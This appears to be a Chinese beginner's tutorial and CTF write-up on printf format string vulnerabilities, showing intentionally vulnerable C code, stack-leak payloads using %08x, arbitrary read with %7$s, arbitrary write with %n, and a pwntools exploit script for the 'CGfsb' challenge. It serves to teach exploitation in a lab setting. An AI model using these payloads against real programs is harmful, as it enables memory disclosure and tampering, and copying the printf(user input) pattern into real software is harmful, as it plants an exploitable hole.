【二进制安全】printf之任意读与写
新手入门pwn,对于各位表哥在writeup中写的格式化字符串漏洞不是很理解,查阅网上资料发现大多都是以printf来深入讲解格式化字符串漏洞的原理,故作此文来探讨printf使用不当产生的漏洞,有不正确的地方,望大佬可以指出来。
printf是C语言中的输出函数,包含在头文件stdio.h文件中,功能是按规定格式向输出设备(一般为显示器)输出数据,并返回实际输出的字符数,若出错,则返回负数。printf函数的原型为:
int printf(const char *format, ...);
printf的一般格式有:
1) printf("字符串\n");
2) printf("输出控制符",输出参数);
3) printf("输出控制符1 输出控制符2…", 输出参数1, 输出参数2, …);
4) printf("输出控制符 非输出控制符",输出参数);
由函数原型我们可以知道printf函数的第一个字符指向一个format字符串(格式化字符串),后面再不定的跟着一些参数。常见的格式符如下:
%c:字符
%d:十进制整数
%x:16进制数据
%p:16进制数据,与%x类似,但它输出时会在前面添加一个0x,在32bit下对应4字节,在64bit下对应8字节。
%s:字符串,可利用%i$s表示输出偏移i出所指向的字符串。
%n:%之前的字符个数。
具体实例参见如下:
#include <stdio.h>
int main()
{
int a=1;
printf("c:%c\n",a);
printf("d:%d\n",a);
printf("p:%p\n",a);
printf("x:%x\n",a);
printf("aaaa%n\n",&a); //%n前面有4个字符,因此%将4赋值给了a
printf("%d",a);
return 0;
}
gcc程序编译:
gcc -no-pie -fno-stack-protector -z execstack -g printf_01.c -o 2
./2 运行,输出结果为:
c:
d:1
p:0x1
x:1
aaaa
4
printf函数是C语言中少数支持可变参数的库函数。当调用者(用户)调用此函数时,被调用者(后面我们用系统指代被调用者)是无法知道在函数调用前到底有多少参数被压入到栈中的。那么当运行call printf 系统是怎么知道该输出多少个参数呢?
format!系统通过判断传入的format参数以指定参数的数量和类型,来进行函数打印,与后面所带的参数无关。当format字符串中所含有的格式符的数量 > 后面传入参数的数量时,多出来的格式符系统依旧会根据%去栈中寻找相应的参数,因此就会造成内存泄漏形成任意地址的读与写。
1、内存地址泄露
下面我们通过一个例子来了解printf任意地址读与写的前因后果!
int main(int argc,char **argv) {
static int b=1;
char s[100];
printf("%p\n",&b);//查看b的地址
//scanf("%s", s);//因为当我们任意地址读时需要利用printf输入地址,而scanf与printf无法一起使用,因而舍弃scanf
strcpy(s,argv[1]);
printf(s);//漏洞点,s为第一个参数
printf("the values of b is %d\n",b);//查看b的值
return 0;
}
printf(s)为漏洞产生点,s为printf的第一个参数,当我们输入参数s含有格式符,此时格式符>传入参数(参数数为0),系统依旧会根据%去栈中寻找相应的参数。下面我们对上面的文件进行编译运行:
gcc -m32 -fno-stack-protector -no-pie -o test6 test6.c
./test6运行。当输入含格式符的字符串
"aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
时,输出一些类似于地址类的数据,那么这些数据是什么呢?会是泄露出来的内存地址吗?咱调试一下究竟!
gdb调试开始!!!我们可以先用 disass main 对主函数进行反汇编一下,在漏洞点printf(s)的call printf下断点,输入c运行程序。
便于查看在printf附近的栈结构,可以发现format字符串所在的地址为0xffffd4dc,printf(s)只有一个参数, 因此format和vararg地址指向的是同一处,此时ESP栈指针指向的是地址0xffffd4c0。
查看$esp向后的栈空间,再次输入c继续运行。观察输出的地址,发现我们输入的格式符("aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" )恰好将printf函数format参数地址所在栈空间(0xffffd4c0)-4后的所有地址输出了,造成了内存地址的泄露。且我们输入的第一个字符串aaaa在栈中输出的对应输出的第7个%08x所输出的地址,即距离aaaa的偏移量为7个地址单元。
2、内存地址读与写
地址泄露出来了,那么接下来我们该怎么读取呢? %s !!!%s,以字符串格式输出,当我们输入%i$s 时代表在以字符串格式第 i 个偏移处的内存地址内容,构造任意读输入语句:(PS:%i\$s中反斜线主要是转义)
例如:0x61616161这个地址已经被我们成功的写入到内存(0xffffd4dc)中了,当我们用 "`printf "\xdc\xd4\xff\xff"`.%7\$s" 语句读取内存地址时,将会产生报错,原因是由于该内存地址不可读。
读操作进行完毕,写操作还会远吗?
类似于读操作,只需要将%x换成%n即可。%n会将%之前所有变量的个数复制给一个变量。这里当我们输入 "`printf "\x20\xa0\x04\x08"`.%7\$n" 会将%前面有五个字符,因此%7$n会将5复制给第7个偏移量地址(0xffffd4dc)内容所指向的地址(0x0804a020),有点绕,咱简单画个图解析一下吧!
运行结果如下:
利用printf对地址的任意读与写也正是利用了上面的内存泄漏。下面我们通过对一题的分析来具体解读一下printf对地址的任意读与写吧!(具体的文件参见文末。)
先查看一下基本信息:checksec fsb
'/home/giantbranch/test_pwn/0838/CGfsb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
将文件放入ida中进行查看,伪代码主要部分如下:
puts("please tell me your name:");
read(0, &v4, 0xAu);
puts("leave your message please:");
fgets((char *)&v7, 100, stdin);
printf("hello %s", &v4);
puts("your message is:");
printf((const char *)&v7); //漏洞点,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面输入的参数
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
通过伪代码我们可以发现当pwnme值为8时,我们便可以成功获得flag!那么接下来,查看pwnme。
.bss:0804A068 public pwnme
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
.bss:0804A068 _bss ends
.bss:0804A068
可知变量pwnme处于 .bss段(指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域),属于全局变量。
分析漏洞点的语句,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面fgets输入的参数,我们可以利用上面printf任意地址读的思路查看读需要的偏移量:(PS:%x是输出16进制数据,08表示宽度,不足8为左边按0补齐)
由输出的堆栈信息,可以发现aaaa在的ascii码在第10个位置被输出了。
确定好了任意读的偏移量,下一步,任意地址写!
在上面我们分析变量pwnme时得出地址为0x0804A068,由此我们可以试着构造exp:
from pwn import *
#p=remote('220.249.52.133','34368')
p=process('./CGfsb')
pwnme_addr=0x0804a068
payload=p32(pwnme_addr)+'aaaa%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline('aaaaaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
#print p.recv()
print p.recv()
结果输出:
例子附件:
链接: https://pan.baidu.com/s/1Wb3aSjL6J-dXAl9e18lJ6A
提取码: q927
参考链接:
https://bbs.pediy.com/thread-253638.htm
https://blog.csdn.net/qq_43394612/article/details/84900668
https://www.cnblogs.com/pwn2web/p/12077965.html
https://www.cnblogs.com/ichunqiu/p/9329387.html
本文分享自微信公众号 - 暗魂安全团队(anhunsec)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
-
上一篇
Spring Security如何优雅的增加OAuth2协议授权模式
一、什么是OAuth2协议? OAuth 2.0 是一个关于授权的开放的网络协议,是目前最流行的授权机制。 数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。 由于授权的场景众多,OAuth 2.0 协议定义了获取令牌的四种授权方式,分别是: 授权码模式:授权码模式(authorization code)是功能最完整、流程最严密的授权模式。它的特点就是通过客户端的后台服务器,与"服务提供商"的认证服务器进行互动。 简化模式:简化模式(implicit grant type)不通过第三方应用程序的服务器,直接在浏览器中向认证服务器申请令牌,跳过了"授权码"这个步骤,因此得名。所有步骤在浏览器中完成,令牌对访问者是可见的,且客户端不需要认证。 密码模式:密码模式(Resource Owner Password Credentials Grant)中,用户向客户端提供自己的用户名和密码。客户端使用这些信息,向"服务商提供商"索要授权。 客户端模式:客户端模式(Client Credentials Gr...
-
下一篇
ddns-go 0.0.6 发布,简单好用的 DDNS 动态域名服务工具
这是一个简单好用的DDNS动态域名服务工具,可以自动更新域名解析到公网IP,目前支持Alidns(阿里云)、Dnspod(腾讯云)、Cloudflare v0.0.6 修改 修复dnspod子域名不生效问题 v0.0.5修改 增加Cloudflare支持 功能 自动获得你的公网IPV4或IPV6并解析到域名中 支持Mac、Windows、Linux系统,支持ARM、x86架构 间隔5分钟同步一次 支持多个域名同时解析 支持多级域名 支持的域名服务商Alidns(阿里云)Dnspod(腾讯云)Cloudflare 系统中使用 下载https://github.com/jeessy2/ddns-go/releases 双击运行,程序自动打开http://127.0.0.1:9876,修改你的配置,成功 Docker中使用 docker run -d \ --name ddns-go \ --restart=always \ -p 127.0.0.1:9876:9876 \ jeessy/ddns-go 在docker主机上打开http://127.0.0.1:9876,修改你的...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- CentOS8安装MyCat,轻松搞定数据库的读写分离、垂直分库、水平分库
- SpringBoot2整合Redis,开启缓存,提高访问速度
- 设置Eclipse缩进为4个空格,增强代码规范
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- SpringBoot2全家桶,快速入门学习开发网站教程
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- SpringBoot2配置默认Tomcat设置,开启更多高级功能